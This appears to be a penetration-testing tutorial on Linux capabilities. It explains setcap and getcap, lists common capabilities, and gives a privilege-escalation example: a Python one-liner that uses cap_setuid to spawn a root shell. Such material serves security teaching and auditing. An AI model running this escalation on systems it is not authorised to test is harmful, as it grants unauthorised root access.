Linux Capabilities

Capabilities

Normally the root user or any ID with UID of 0 gets a special treatment when running processes. The kernel and applications are usually programmed to skip the restriction of some activities when seeing this user ID. In other words, this user is allowed to do almost anything.

Linux capabilities provide a subset of the available root privileges to a process. This effectively breaks up root privileges into smaller and distinctive units. Each of these units can then be independently be granted to processes. This way the full set of privileges is reduced and decreasing the risks of exploitation.

Why capabilities?

To better understand how Linux capabilities work, let’s have a look first at the problem it tries to solve.

Let’s assume we are running a process as a normal user. This means we are non-privileged. We can only access data that owned by us, our group, or which is marked for access by all users. At some point in time, our process needs a little bit more permissions to fulfill its duties, like opening a network socket. The problem is that normal users can not open a socket, as this requires root permissions.

List Capabilities

#You list all the capabilities with
capsh --print

Here you can find some capabilities with short descriptions

Capabilities name	Description
CAP_AUDIT_CONTROL	Allow to enable/disable kernel auditing
CAP_AUDIT_WRITE	Helps to write records to kernel auditing log
CAP_BLOCK_SUSPEND	This feature can block system suspends
CAP_CHOWN	Allow user to make arbitrary change to files UIDs and GIDs `full filesystem access`
CAP_DAC_OVERRIDE	This helps to bypass file read, write and execute permission checks `full filesystem access`
CAP_DAC_READ_SEARCH	This only bypass file and directory read/execute permission checks
CAP_FOWNER	This enables to bypass permission checks on operations that normally require the filesystem UID of the process to match the UID of the file
CAP_KILL	Allow the sending of signals to processes belonging to others
CAP_SETGID	Allow changing of the GID
CAP_SETUID	Allow changing of the UID `set UID of root in you process`
CAP_SETPCAP	Helps to transferring and removal of current set to any PID
CAP_IPC_LOCK	This helps to lock memory
CAP_MAC_ADMIN	Allow MAC configuration or state changes
CAP_NET_RAW	Use RAW and PACKET sockets
CAP_NET_BIND_SERVICE	SERVICE Bind a socket to internet domain privileged ports
CAP_SYS_CHROOT	Ability to call chroot()

Capabilities are useful when you want to restrict your own processes after performing privileged operations e.g. after setting up chroot and binding to a socket. However, they can be exploited by passing them malicious commands or arguments which are then run as root.

You can force capabilities upon programs using setcap, and query these using getcap:

#Set Capability
setcap cap_net_raw+ep /sbin/ping

#Get Capability
getcap /sbin/ping
/sbin/ping = cap_net_raw+ep

The +ep means you’re adding the capability “-” would remove it as Effective and Permitted.

To identify programs in a system or folder with capabilities:

getcap -r / 2>/dev/null

Exploitation example

In the following example the binary /usr/bin/python2.6 is found vulnerable to privesc:

getcap -r / 2>/dev/null
/usr/bin/python2.6 = cap_setuid+ep

#Exploit
/usr/bin/python2.6 -c 'import os; os.setuid(0); os.system("/bin/bash");'

Capabilities needed by tcpdump to allow any user to sniff packets:

setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump
getcap /usr/sbin/tcpdump
/usr/sbin/tcpdump = cap_net_admin,cap_net_raw+eip

The special case of "empty" capabilities

Note that one can assign empty capability sets to a program file, and thus it is possible to create a set-user-ID-root program that changes the effective and saved set-user-ID of the process that executes the program to 0, but confers no capabilities to that process. Or, simply put, if you have a binary that:

is not owned by root
has no SUID/SGID bits set
has empty capabilities set e.g.: `getcap myelf` returns `myelf =ep`

then that binary will run as root.

Capabilities info was extracted from here

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